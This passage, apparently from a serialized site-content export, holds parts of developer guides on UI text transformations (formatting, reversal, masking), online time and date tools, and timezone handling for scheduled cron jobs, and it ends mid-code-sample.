version is what should be stored or transmitted",[44,205783,205784,205787],{},[47,205785,205786],{},"Formatting input"," — auto-formatting a phone number as the user types requires JS logic",[44,205789,205790,205793],{},[47,205791,205792],{},"Normalizing data"," — converting user input to a consistent format before validation",[135,205795,205797],{"className":1607,"code":205796,"language":1609,"meta":141,"style":141},"\u002F\u002F Real-time phone number formatting\nfunction formatPhone(value) {\n  const digits = value.replace(\u002F\\D\u002Fg, '').slice(0, 10)\n  if (digits.length \u003C= 3) return digits\n  if (digits.length \u003C= 6) return `(${digits.slice(0, 3)}) ${digits.slice(3)}`\n  return `(${digits.slice(0, 3)}) ${digits.slice(3, 6)}-${digits.slice(6)}`\n}\n",[143,205798,205799,205804,205817,205858,205877,205930,205986],{"__ignoreMap":141},[1560,205800,205801],{"class":1562,"line":1563},[1560,205802,205803],{"class":1649},"\u002F\u002F Real-time phone number formatting\n",[1560,205805,205806,205808,205811,205813,205815],{"class":1562,"line":337},[1560,205807,8648],{"class":1669},[1560,205809,205810],{"class":1566}," formatPhone",[1560,205812,1688],{"class":1570},[1560,205814,39103],{"class":2219},[1560,205816,9345],{"class":1570},[1560,205818,205819,205821,205823,205825,205828,205830,205832,205834,205836,205838,205840,205842,205844,205846,205848,205850,205852,205854,205856],{"class":1562,"line":343},[1560,205820,28057],{"class":1669},[1560,205822,43291],{"class":1576},[1560,205824,8186],{"class":1669},[1560,205826,205827],{"class":1570}," value.",[1560,205829,22721],{"class":1566},[1560,205831,1688],{"class":1570},[1560,205833,9423],{"class":5634},[1560,205835,157313],{"class":1576},[1560,205837,9423],{"class":5634},[1560,205839,22733],{"class":1669},[1560,205841,1459],{"class":1570},[1560,205843,5635],{"class":5634},[1560,205845,9368],{"class":1570},[1560,205847,38951],{"class":1566},[1560,205849,1688],{"class":1570},[1560,205851,5285],{"class":1576},[1560,205853,1459],{"class":1570},[1560,205855,36197],{"class":1576},[1560,205857,8252],{"class":1570},[1560,205859,205860,205862,205864,205866,205868,205870,205872,205874],{"class":1562,"line":365},[1560,205861,27984],{"class":1669},[1560,205863,43302],{"class":1570},[1560,205865,9418],{"class":1576},[1560,205867,183308],{"class":1669},[1560,205869,48433],{"class":1576},[1560,205871,1733],{"class":1570},[1560,205873,28313],{"class":1669},[1560,205875,205876],{"class":1570}," digits\n",[1560,205878,205879,205881,205883,205885,205887,205889,205891,205893,205896,205899,205901,205903,205905,205907,205909,205911,205913,205916,205918,205920,205922,205924,205926,205928],{"class":1562,"line":889},[1560,205880,27984],{"class":1669},[1560,205882,43302],{"class":1570},[1560,205884,9418],{"class":1576},[1560,205886,183308],{"class":1669},[1560,205888,43195],{"class":1576},[1560,205890,1733],{"class":1570},[1560,205892,28313],{"class":1669},[1560,205894,205895],{"class":5634}," `(${",[1560,205897,205898],{"class":1570},"digits",[1560,205900,468],{"class":5634},[1560,205902,38951],{"class":1566},[1560,205904,1688],{"class":5634},[1560,205906,5285],{"class":1576},[1560,205908,1459],{"class":5634},[1560,205910,17821],{"class":1576},[1560,205912,1525],{"class":5634},[1560,205914,205915],{"class":5634},"}) ${",[1560,205917,205898],{"class":1570},[1560,205919,468],{"class":5634},[1560,205921,38951],{"class":1566},[1560,205923,1688],{"class":5634},[1560,205925,17821],{"class":1576},[1560,205927,1525],{"class":5634},[1560,205929,100442],{"class":5634},[1560,205931,205932,205934,205936,205938,205940,205942,205944,205946,205948,205950,205952,205954,205956,205958,205960,205962,205964,205966,205968,205970,205972,205974,205976,205978,205980,205982,205984],{"class":1562,"line":1710},[1560,205933,9350],{"class":1669},[1560,205935,205895],{"class":5634},[1560,205937,205898],{"class":1570},[1560,205939,468],{"class":5634},[1560,205941,38951],{"class":1566},[1560,205943,1688],{"class":5634},[1560,205945,5285],{"class":1576},[1560,205947,1459],{"class":5634},[1560,205949,17821],{"class":1576},[1560,205951,1525],{"class":5634},[1560,205953,205915],{"class":5634},[1560,205955,205898],{"class":1570},[1560,205957,468],{"class":5634},[1560,205959,38951],{"class":1566},[1560,205961,1688],{"class":5634},[1560,205963,17821],{"class":1576},[1560,205965,1459],{"class":5634},[1560,205967,44593],{"class":1576},[1560,205969,1525],{"class":5634},[1560,205971,186289],{"class":5634},[1560,205973,205898],{"class":1570},[1560,205975,468],{"class":5634},[1560,205977,38951],{"class":1566},[1560,205979,1688],{"class":5634},[1560,205981,44593],{"class":1576},[1560,205983,1525],{"class":5634},[1560,205985,100442],{"class":5634},[1560,205987,205988],{"class":1562,"line":1717},[1560,205989,1585],{"class":1570},[11,205991,205993],{"id":205992},"reversed-text-in-ui-design","Reversed Text in UI Design",[16,205995,205996],{},"Text reversal has legitimate UI applications beyond novelty:",[41,205998,205999,206005,206011,206017],{},[44,206000,206001,206004],{},[47,206002,206003],{},"RTL language support"," — Arabic and Hebrew interfaces need bidirectional text handling",[44,206006,206007,206010],{},[47,206008,206009],{},"Visual effects"," — mirror text for logos, artistic headers, or game interfaces",[44,206012,206013,206016],{},[47,206014,206015],{},"Data verification"," — displaying reversed strings alongside original for comparison (checksums, serial numbers)",[44,206018,206019,206022],{},[47,206020,206021],{},"Accessibility aid"," — some dyslexia tools present text in alternative orientations",[16,206024,206025],{},"When implementing reversed text, consider:",[135,206027,206029],{"className":6417,"code":206028,"language":6419,"meta":141,"style":141},"\u003C!-- Visual reversal via CSS — preserves text for screen readers -->\n\u003Cspan aria-label=\"hello\" style=\"direction: rtl; unicode-bidi: bidi-override;\">hello\u003C\u002Fspan>\n\n\u003C!-- Semantic reversal via JS — changes the actual text content -->\n\u003Cspan>{{ reversedText }}\u003C\u002Fspan>\n",[143,206030,206031,206036,206063,206067,206072],{"__ignoreMap":141},[1560,206032,206033],{"class":1562,"line":1563},[1560,206034,206035],{"class":1649},"\u003C!-- Visual reversal via CSS — preserves text for screen readers -->\n",[1560,206037,206038,206040,206042,206044,206046,206049,206051,206053,206056,206059,206061],{"class":1562,"line":337},[1560,206039,6431],{"class":1570},[1560,206041,1560],{"class":2484},[1560,206043,96001],{"class":1566},[1560,206045,7297],{"class":1570},[1560,206047,206048],{"class":5634},"\"hello\"",[1560,206050,11449],{"class":1566},[1560,206052,7297],{"class":1570},[1560,206054,206055],{"class":5634},"\"direction: rtl; unicode-bidi: bidi-override;\"",[1560,206057,206058],{"class":1570},">hello\u003C\u002F",[1560,206060,1560],{"class":2484},[1560,206062,6441],{"class":1570},[1560,206064,206065],{"class":1562,"line":343},[1560,206066,1702],{"emptyLinePlaceholder":363},[1560,206068,206069],{"class":1562,"line":365},[1560,206070,206071],{"class":1649},"\u003C!-- Semantic reversal via JS — changes the actual text content -->\n",[1560,206073,206074,206076,206078,206081,206083],{"class":1562,"line":889},[1560,206075,6431],{"class":1570},[1560,206077,1560],{"class":2484},[1560,206079,206080],{"class":1570},">{{ reversedText }}\u003C\u002F",[1560,206082,1560],{"class":2484},[1560,206084,6441],{"class":1570},[16,206086,206087],{},"The CSS approach keeps \"hello\" accessible while displaying \"olleh\". The JS approach changes the actual content. Choose based on whether the reversal is visual decoration or semantic content.",[11,206089,206091],{"id":206090},"input-masking-patterns","Input Masking Patterns",[16,206093,206094],{},"Masking transforms sensitive input into unreadable characters while preserving the original value in memory:",[135,206096,206098],{"className":1607,"code":206097,"language":1609,"meta":141,"style":141},"\u002F\u002F Credit card masking — show only last 4 digits\nfunction maskCard(cardNumber) {\n  const last4 = cardNumber.slice(-4)\n  const masked = '*'.repeat(cardNumber.length - 4)\n  return masked + last4\n}\n\u002F\u002F \"4111111111111111\" → \"************1111\"\n",[143,206099,206100,206105,206119,206141,206167,206179,206183],{"__ignoreMap":141},[1560,206101,206102],{"class":1562,"line":1563},[1560,206103,206104],{"class":1649},"\u002F\u002F Credit card masking — show only last 4 digits\n",[1560,206106,206107,206109,206112,206114,206117],{"class":1562,"line":337},[1560,206108,8648],{"class":1669},[1560,206110,206111],{"class":1566}," maskCard",[1560,206113,1688],{"class":1570},[1560,206115,206116],{"class":2219},"cardNumber",[1560,206118,9345],{"class":1570},[1560,206120,206121,206123,206126,206128,206131,206133,206135,206137,206139],{"class":1562,"line":343},[1560,206122,28057],{"class":1669},[1560,206124,206125],{"class":1576}," last4",[1560,206127,8186],{"class":1669},[1560,206129,206130],{"class":1570}," cardNumber.",[1560,206132,38951],{"class":1566},[1560,206134,1688],{"class":1570},[1560,206136,9412],{"class":1669},[1560,206138,12546],{"class":1576},[1560,206140,8252],{"class":1570},[1560,206142,206143,206145,206147,206149,206152,206154,206156,206159,206161,206163,206165],{"class":1562,"line":365},[1560,206144,28057],{"class":1669},[1560,206146,35251],{"class":1576},[1560,206148,8186],{"class":1669},[1560,206150,206151],{"class":5634}," '*'",[1560,206153,468],{"class":1570},[1560,206155,9442],{"class":1566},[1560,206157,206158],{"class":1570},"(cardNumber.",[1560,206160,9418],{"class":1576},[1560,206162,22908],{"class":1669},[1560,206164,13574],{"class":1576},[1560,206166,8252],{"class":1570},[1560,206168,206169,206171,206174,206176],{"class":1562,"line":889},[1560,206170,9350],{"class":1669},[1560,206172,206173],{"class":1570}," masked ",[1560,206175,9448],{"class":1669},[1560,206177,206178],{"class":1570}," last4\n",[1560,206180,206181],{"class":1562,"line":1710},[1560,206182,1585],{"class":1570},[1560,206184,206185],{"class":1562,"line":1717},[1560,206186,206187],{"class":1649},"\u002F\u002F \"4111111111111111\" → \"************1111\"\n",[16,206189,206190],{},"Common mistakes:",[41,206192,206193,206199,206205],{},[44,206194,206195,206198],{},[47,206196,206197],{},"Masking too early"," — if you mask before validation, error messages reference the masked value instead of the original",[44,206200,206201,206204],{},[47,206202,206203],{},"Not masking at all"," — logging unmasked credit card numbers violates PCI-DSS",[44,206206,206207,206210],{},[47,206208,206209],{},"Masking in the wrong layer"," — mask for display output, not for internal state or API payloads",[11,206212,8286],{"id":8285},[16,206214,206215],{},"Text transformations in lists and tables can create performance issues at scale:",[41,206217,206218,206224,206230],{},[44,206219,206220,206223],{},[47,206221,206222],{},"Avoid transforming in render loops"," — cache transformed values or compute them in a composable\u002Fstore",[44,206225,206226,206229],{},[47,206227,206228],{},"Use virtual scrolling for large lists"," — transforming 10,000 items on mount blocks the main thread",[44,206231,206232,206235],{},[47,206233,206234],{},"Debounce input formatting"," — formatting on every keystroke causes jank on slow devices",[135,206237,206239],{"className":1607,"code":206238,"language":1609,"meta":141,"style":141},"\u002F\u002F Debounced formatter for search input\nconst formattedSearch = computed(() => {\n  return searchQuery.value.trim().toLowerCase()\n})\n",[143,206240,206241,206246,206263,206278],{"__ignoreMap":141},[1560,206242,206243],{"class":1562,"line":1563},[1560,206244,206245],{"class":1649},"\u002F\u002F Debounced formatter for search input\n",[1560,206247,206248,206250,206253,206255,206257,206259,206261],{"class":1562,"line":337},[1560,206249,8180],{"class":1669},[1560,206251,206252],{"class":1576}," formattedSearch",[1560,206254,8186],{"class":1669},[1560,206256,197320],{"class":1566},[1560,206258,135656],{"class":1570},[1560,206260,11503],{"class":1669},[1560,206262,1571],{"class":1570},[1560,206264,206265,206267,206270,206272,206274,206276],{"class":1562,"line":343},[1560,206266,9350],{"class":1669},[1560,206268,206269],{"class":1570}," searchQuery.value.",[1560,206271,38015],{"class":1566},[1560,206273,42138],{"class":1570},[1560,206275,38784],{"class":1566},[1560,206277,27830],{"class":1570},[1560,206279,206280],{"class":1562,"line":365},[1560,206281,1626],{"class":1570},[16,206283,206284],{},"Computed properties in Vue handle this naturally — they cache results and only recompute when dependencies change.",[11,206286,1355],{"id":1354},[41,206288,206289,206292,206297,206300,206303],{},[44,206290,206291],{},"Use CSS for presentational transformations (uppercase, ellipsis); use JS for semantic transformations (reversal, masking, formatting)",[44,206293,31366,206294,206296],{},[143,206295,205611],{}," preserves original text for screen readers and copy-paste — always prefer it for case changes",[44,206298,206299],{},"Reversed text in UI has real applications: RTL support, visual branding, data verification",[44,206301,206302],{},"Mask sensitive data at the display layer, not the internal state layer",[44,206304,206305],{},"Cache transformation results for large lists and debounce frequent input formatting",[11,206307,321],{"id":320},[41,206309,206310,206314,206318],{},[44,206311,206312],{},[98,206313,162815],{"href":155325},[44,206315,206316],{},[98,206317,162820],{"href":155367},[44,206319,206320],{},[98,206321,206322],{"href":162849},"Palindrome Detection Algorithms",[11,206324,286],{"id":285},[16,206326,206327,206328,206330],{},"Reverse, mask, and transform text instantly with our free ",[98,206329,155315],{"href":155314}," tool. Paste any text, see the reversed output, and experiment with text transformation patterns for your own projects.",[2043,206332,206333],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":206335},[206336,206337,206338,206339,206340,206341,206342,206343,206344],{"id":205512,"depth":337,"text":205513},{"id":205588,"depth":337,"text":205589},{"id":205763,"depth":337,"text":205764},{"id":205992,"depth":337,"text":205993},{"id":206090,"depth":337,"text":206091},{"id":8285,"depth":337,"text":8286},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Explore common text transformation patterns in UI design — reversing, truncating, formatting, and transforming text with accessible, performant implementations.",{"immutable":363},"\u002Fguides\u002Ftext-transformations-user-interfaces",{"title":205504,"description":206345},"guides\u002Ftext-transformations-user-interfaces","dFVD91S9HfL3wdOs8omrAg1aV386P7E8tJU8D67i7L8",{"id":206352,"title":206353,"body":206354,"date":2070,"description":206851,"extension":361,"meta":206852,"navigation":363,"path":206853,"readingTime":1710,"seo":206854,"stem":206855,"__hash__":206856},"guides\u002Fguides\u002Ftime-and-date-tools.md","Time and Date Tools",{"type":8,"value":206355,"toc":206835},[206356,206360,206363,206366,206370,206428,206431,206435,206438,206443,206454,206463,206468,206482,206484,206487,206492,206498,206502,206516,206530,206534,206537,206539,206544,206549,206572,206576,206579,206582,206586,206589,206633,206638,206642,206653,206655,206732,206734,206739,206765,206771,206773,206809,206811,206821,206823],[11,206357,206359],{"id":206358},"the-right-tool-saves-hours","The Right Tool Saves Hours",[16,206361,206362],{},"Time and date problems come in many forms — converting between zones, decoding Unix timestamps, calculating age precisely, or parsing cron schedules. Each task needs its own tool. Using the wrong one wastes time and introduces errors.",[16,206364,206365],{},"Here is a breakdown of the essential time and date tools, when to use each one, and how they compare.",[11,206367,206369],{"id":206368},"categories-of-time-and-date-tools","Categories of Time and Date Tools",[193,206371,206372,206384],{},[196,206373,206374],{},[199,206375,206376,206378,206381],{},[202,206377,919],{},[202,206379,206380],{},"Primary Task",[202,206382,206383],{},"Who Uses It Most",[211,206385,206386,206397,206407,206418],{},[199,206387,206388,206391,206394],{},[216,206389,206390],{},"Timezone converters",[216,206392,206393],{},"Shift times between zones",[216,206395,206396],{},"Remote teams, travelers, ops engineers",[199,206398,206399,206401,206404],{},[216,206400,1373],{},[216,206402,206403],{},"Convert Unix epoch ↔ human-readable dates",[216,206405,206406],{},"Developers, DBAs, security analysts",[199,206408,206409,206412,206415],{},[216,206410,206411],{},"Date calculators",[216,206413,206414],{},"Compute age, date differences, countdowns",[216,206416,206417],{},"HR, finance, legal, event planners",[199,206419,206420,206422,206425],{},[216,206421,1379],{},[216,206423,206424],{},"Decode and validate cron expressions",[216,206426,206427],{},"DevOps, backend developers, SREs",[16,206429,206430],{},"Pick the category first, then the specific tool.",[11,206432,206434],{"id":206433},"timezone-converters","Timezone Converters",[16,206436,206437],{},"A timezone converter takes a moment in time in one zone and returns the same moment in another. It accounts for Daylight Saving Time, regional rules, and historical changes automatically.",[16,206439,206440],{},[47,206441,206442],{},"When you need one:",[41,206444,206445,206448,206451],{},[44,206446,206447],{},"Scheduling a meeting across three or more time zones",[44,206449,206450],{},"Checking whether a server maintenance window conflicts with your local work hours",[44,206452,206453],{},"Displaying event times to a global audience on a website",[16,206455,421,206456,206458,206459,206462],{},[98,206457,960],{"href":89808}," uses IANA timezone data via the browser's ",[143,206460,206461],{},"Intl"," API. It adjusts for DST automatically — no manual offset lookup required.",[16,206464,206465],{},[47,206466,206467],{},"Common pitfalls it avoids:",[41,206469,206470,206473,206479],{},[44,206471,206472],{},"Using fixed UTC offsets that break when DST starts or ends",[44,206474,206475,206476,206478],{},"Confusing timezone abbreviations (",[143,206477,89712],{}," has four meanings)",[44,206480,206481],{},"Scheduling events during the ambiguous or missing hours around DST transitions",[11,206483,1088],{"id":1087},[16,206485,206486],{},"Unix timestamps count seconds since January 1, 1970 UTC. They are compact, sortable, and timezone-free — perfect for storage and transport, but unreadable to humans.",[16,206488,421,206489,206491],{},[98,206490,623],{"href":622}," converts in both directions:",[135,206493,206496],{"className":206494,"code":206495,"language":140,"meta":141},[138],"Human → Unix:  2026-05-28 14:30:00 UTC  →  1749048000\nUnix → Human:  1749048000               →  2026-05-28 14:30:00 UTC\n",[143,206497,206495],{"__ignoreMap":141},[16,206499,206500],{},[47,206501,206442],{},[41,206503,206504,206507,206510,206513],{},[44,206505,206506],{},"Reading server logs that use epoch timestamps",[44,206508,206509],{},"Debugging API responses with Unix timestamps",[44,206511,206512],{},"Building time-range queries for databases",[44,206514,206515],{},"Checking token expiration times in JWT payloads",[16,206517,206518,206521,206522,206525,206526,206529],{},[47,206519,206520],{},"Seconds vs milliseconds:"," JavaScript uses milliseconds (",[143,206523,206524],{},"1749048000000","), while most other systems use seconds (",[143,206527,206528],{},"1749048000","). The converter handles both formats.",[11,206531,206533],{"id":206532},"date-calculators","Date Calculators",[16,206535,206536],{},"Date calculators handle the calendar-specific math that is tedious to do by hand — variable month lengths, leap years, and timezone-aware date boundaries.",[33,206538,101],{"id":418},[16,206540,421,206541,206543],{},[98,206542,101],{"href":100}," computes exact age from a date of birth. Beyond years, months, and days, it returns total days lived, weeks lived, next birthday, and the day of the week you were born.",[16,206545,206546],{},[47,206547,206548],{},"Who relies on it:",[41,206550,206551,206557,206563,206568],{},[44,206552,206553,206556],{},[47,206554,206555],{},"HR teams"," — verify retirement or benefits eligibility",[44,206558,206559,206562],{},[47,206560,206561],{},"Medical staff"," — calculate pediatric dosages based on age in months",[44,206564,206565,206567],{},[47,206566,453],{}," — determine age at the time of a specific event",[44,206569,206570,442],{},[47,206571,441],{},[33,206573,206575],{"id":206574},"date-difference-and-countdown","Date Difference and Countdown",[16,206577,206578],{},"Date difference tools compute the span between two dates in multiple units — total days, weeks, months, or the traditional years-months-days format. Countdown tools answer how much time remains until a target date.",[16,206580,206581],{},"These serve project managers tracking sprint lengths, finance teams calculating interest periods, and event planners counting down to a launch.",[11,206583,206585],{"id":206584},"cron-expression-parsers","Cron Expression Parsers",[16,206587,206588],{},"Cron expressions control scheduled tasks on servers, but the syntax is dense and error-prone. A cron parser translates an expression into plain English and shows upcoming execution times.",[193,206590,206591,206599],{},[196,206592,206593],{},[199,206594,206595,206597],{},[202,206596,1150],{},[202,206598,1153],{},[211,206600,206601,206609,206617,206625],{},[199,206602,206603,206607],{},[216,206604,206605],{},[143,206606,1162],{},[216,206608,1165],{},[199,206610,206611,206615],{},[216,206612,206613],{},[143,206614,1172],{},[216,206616,1175],{},[199,206618,206619,206623],{},[216,206620,206621],{},[143,206622,1182],{},[216,206624,1185],{},[199,206626,206627,206631],{},[216,206628,206629],{},[143,206630,1192],{},[216,206632,1195],{},[16,206634,421,206635,206637],{},[98,206636,986],{"href":985}," validates expressions and lists the next several run times — essential for confirming your schedule before deploying it to production.",[16,206639,206640],{},[47,206641,206442],{},[41,206643,206644,206647,206650],{},[44,206645,206646],{},"Verifying a cron expression before adding it to a config file",[44,206648,206649],{},"Debugging a job that ran at the wrong time",[44,206651,206652],{},"Understanding inherited cron schedules from another team",[11,206654,184786],{"id":184785},[193,206656,206657,206673],{},[196,206658,206659],{},[199,206660,206661,206663,206665,206667,206670],{},[202,206662,751],{},[202,206664,39500],{},[202,206666,754],{},[202,206668,206669],{},"DST-Aware",[202,206671,206672],{},"Developer-Focused",[211,206674,206675,206689,206704,206718],{},[199,206676,206677,206679,206682,206685,206687],{},[216,206678,960],{},[216,206680,206681],{},"Date + source zone + target zone",[216,206683,206684],{},"Converted time",[216,206686,3057],{},[216,206688,6117],{},[199,206690,206691,206693,206696,206699,206702],{},[216,206692,623],{},[216,206694,206695],{},"Unix timestamp or date string",[216,206697,206698],{},"Both formats",[216,206700,206701],{},"Yes (UTC baseline)",[216,206703,3057],{},[199,206705,206706,206708,206711,206714,206716],{},[216,206707,101],{},[216,206709,206710],{},"Date of birth + reference date",[216,206712,206713],{},"Age breakdown + stats",[216,206715,6117],{},[216,206717,6117],{},[199,206719,206720,206722,206725,206728,206730],{},[216,206721,986],{},[216,206723,206724],{},"Cron expression",[216,206726,206727],{},"Plain English + next runs",[216,206729,65916],{},[216,206731,3057],{},[11,206733,739],{"id":738},[16,206735,84360,206736],{},[47,206737,206738],{},"what operation do I need to perform?",[41,206740,206741,206747,206753,206759],{},[44,206742,206743,206746],{},[47,206744,206745],{},"\"What time is this in another zone?\""," → Timezone Converter",[44,206748,206749,206752],{},[47,206750,206751],{},"\"What does this Unix number mean?\""," → Timestamp Converter",[44,206754,206755,206758],{},[47,206756,206757],{},"\"How old is this person on a given date?\""," → Age Calculator",[44,206760,206761,206764],{},[47,206762,206763],{},"\"When will this cron job run next?\""," → Cron Parser",[16,206766,206767,206768,206770],{},"If you need time unit conversions (seconds to hours, days to weeks), the ",[98,206769,664],{"href":663}," covers those alongside dozens of other measurement types.",[11,206772,1355],{"id":1354},[41,206774,206775,206782,206787,206792,206797,206802],{},[44,206776,206777,206778,206781],{},"Time and date tools fall into ",[47,206779,206780],{},"four categories",": timezone conversion, timestamp conversion, date calculation, and cron parsing",[44,206783,206784,206786],{},[47,206785,206390],{}," must use IANA data to handle DST correctly",[44,206788,206789,206791],{},[47,206790,1373],{}," bridge the gap between machine-readable integers and human-readable dates",[44,206793,421,206794,206796],{},[47,206795,101],{}," provides precise age beyond simple years, supporting professional use cases",[44,206798,206799,206801],{},[47,206800,1379],{}," prevent silent scheduling errors by revealing what an expression actually does",[44,206803,206804,206805,206808],{},"Pick the ",[47,206806,206807],{},"tool that matches your task"," — using a timezone converter to decode a timestamp works poorly",[11,206810,321],{"id":320},[41,206812,206813,206817],{},[44,206814,206815],{},[98,206816,89788],{"href":89787},[44,206818,206819],{},[98,206820,89794],{"href":89793},[11,206822,286],{"id":285},[16,206824,206825,206826,206828,206829,206831,206832,206834],{},"Convert times between zones with the ",[98,206827,960],{"href":89808}," — decode epoch values with the ",[98,206830,623],{"href":622}," — or compute exact age with the ",[98,206833,101],{"href":100},". All free, no sign-up required.",{"title":141,"searchDepth":337,"depth":337,"links":206836},[206837,206838,206839,206840,206841,206845,206846,206847,206848,206849,206850],{"id":206358,"depth":337,"text":206359},{"id":206368,"depth":337,"text":206369},{"id":206433,"depth":337,"text":206434},{"id":1087,"depth":337,"text":1088},{"id":206532,"depth":337,"text":206533,"children":206842},[206843,206844],{"id":418,"depth":343,"text":101},{"id":206574,"depth":343,"text":206575},{"id":206584,"depth":337,"text":206585},{"id":184785,"depth":337,"text":184786},{"id":738,"depth":337,"text":739},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Essential online tools for working with time and dates — timezone converters, timestamp tools, age calculators, and more.",{"immutable":363},"\u002Fguides\u002Ftime-and-date-tools",{"title":206353,"description":206851},"guides\u002Ftime-and-date-tools","6KDjNzFcGpyGAaHkjdo3OscjrBuDKfCPc_nFwgSAdGQ",{"id":206858,"title":89800,"body":206859,"date":2070,"description":207517,"extension":361,"meta":207518,"navigation":363,"path":89799,"readingTime":1717,"seo":207519,"stem":207520,"__hash__":207521},"guides\u002Fguides\u002Ftimezone-conversion-scheduled-jobs.md",{"type":8,"value":206860,"toc":207495},[206861,206865,206868,206871,206875,206878,206882,206893,206947,206950,206954,206958,206961,206999,207002,207006,207009,207200,207204,207207,207213,207218,207222,207225,207231,207236,207240,207244,207254,207291,207294,207297,207303,207306,207310,207313,207317,207320,207368,207371,207373,207443,207445,207468,207470,207484,207486,207492],[11,206862,206864],{"id":206863},"why-scheduled-jobs-are-timezone-minefields","Why Scheduled Jobs Are Timezone Minefields",[16,206866,206867],{},"A cron job that runs \"at 2 AM every day\" seems straightforward. But 2 AM where? The server? The user? UTC? And what happens when Daylight Saving Time shifts the clock — does the job run twice, skip entirely, or drift an hour?",[16,206869,206870],{},"Scheduled jobs fail due to timezone bugs more often than logic bugs. The consequences are real: missed backups, duplicate email sends, financial calculations off by an hour, or batch jobs running during peak traffic instead of off-peak.",[11,206872,206874],{"id":206873},"the-utc-first-rule","The UTC-First Rule",[16,206876,206877],{},"Every scheduled job should be defined and stored in UTC. No exceptions.",[33,206879,206881],{"id":206880},"why-utc","Why UTC?",[41,206883,206884,206887,206890],{},[44,206885,206886],{},"UTC does not observe DST — no ambiguous or missing hours",[44,206888,206889],{},"UTC has no regional variation — it means the same thing on every server",[44,206891,206892],{},"UTC is what most job schedulers assume when no timezone is specified",[135,206894,206896],{"className":37227,"code":206895,"language":37229,"meta":141,"style":141},"# WRONG — ambiguous without specifying timezone\nschedule: \"0 2 * * *\"          # 2 AM... but in which timezone?\n\n# CORRECT — explicit UTC\nschedule: \"0 6 * * *\"          # 6 AM UTC = 2 AM America\u002FNew_York (during EDT)\ntimezone: \"UTC\"\n",[143,206897,206898,206903,206916,206920,206925,206937],{"__ignoreMap":141},[1560,206899,206900],{"class":1562,"line":1563},[1560,206901,206902],{"class":1649},"# WRONG — ambiguous without specifying timezone\n",[1560,206904,206905,206908,206910,206913],{"class":1562,"line":337},[1560,206906,206907],{"class":2484},"schedule",[1560,206909,1663],{"class":1570},[1560,206911,206912],{"class":5634},"\"0 2 * * *\"",[1560,206914,206915],{"class":1649},"          # 2 AM... but in which timezone?\n",[1560,206917,206918],{"class":1562,"line":343},[1560,206919,1702],{"emptyLinePlaceholder":363},[1560,206921,206922],{"class":1562,"line":365},[1560,206923,206924],{"class":1649},"# CORRECT — explicit UTC\n",[1560,206926,206927,206929,206931,206934],{"class":1562,"line":889},[1560,206928,206907],{"class":2484},[1560,206930,1663],{"class":1570},[1560,206932,206933],{"class":5634},"\"0 6 * * *\"",[1560,206935,206936],{"class":1649},"          # 6 AM UTC = 2 AM America\u002FNew_York (during EDT)\n",[1560,206938,206939,206942,206944],{"class":1562,"line":1710},[1560,206940,206941],{"class":2484},"timezone",[1560,206943,1663],{"class":1570},[1560,206945,206946],{"class":5634},"\"UTC\"\n",[16,206948,206949],{},"When a user requests a job at their local 2 AM, convert it to UTC at the time of creation. Store the UTC schedule and the user's IANA timezone. Display the local time for the user, schedule in UTC.",[11,206951,206953],{"id":206952},"handling-daylight-saving-time-in-jobs","Handling Daylight Saving Time in Jobs",[33,206955,206957],{"id":206956},"fixed-utc-schedules-simplest-safest","Fixed UTC schedules (simplest, safest)",[16,206959,206960],{},"If the job should run at the same UTC time every day regardless of DST, just set it in UTC and forget about it. The local time shifts by an hour when DST changes — if that is acceptable, you are done.",[193,206962,206963,206976],{},[196,206964,206965],{},[199,206966,206967,206970,206973],{},[202,206968,206969],{},"Season",[202,206971,206972],{},"UTC schedule",[202,206974,206975],{},"New York local",[211,206977,206978,206989],{},[199,206979,206980,206983,206986],{},[216,206981,206982],{},"Summer (EDT)",[216,206984,206985],{},"06:00 UTC",[216,206987,206988],{},"02:00 AM",[199,206990,206991,206994,206996],{},[216,206992,206993],{},"Winter (EST)",[216,206995,206985],{},[216,206997,206998],{},"01:00 AM",[16,207000,207001],{},"If business requirements demand the local time stay constant (e.g., \"always at 2 AM Eastern\"), you need a different approach.",[33,207003,207005],{"id":207004},"fixed-local-time-schedules","Fixed local time schedules",[16,207007,207008],{},"When the local time must stay constant across DST transitions, store the user's timezone and recalculate the UTC equivalent after each transition.",[135,207010,207012],{"className":1607,"code":207011,"language":1609,"meta":141,"style":141},"\u002F\u002F After a DST transition, recalculate the next run time\nfunction getNextRun(localHour, timezone) {\n  const now = new Date()\n  const tomorrow = new Date(now)\n  tomorrow.setDate(tomorrow.getDate() + 1)\n\n  \u002F\u002F Create the desired local time tomorrow\n  const localTime = new Date(\n    tomorrow.getFullYear(),\n    tomorrow.getMonth(),\n    tomorrow.getDate(),\n    localHour, 0, 0\n  )\n\n  \u002F\u002F Convert to UTC using the IANA timezone\n  const utcString = localTime.toLocaleString('en-US', { timeZone: timezone })\n 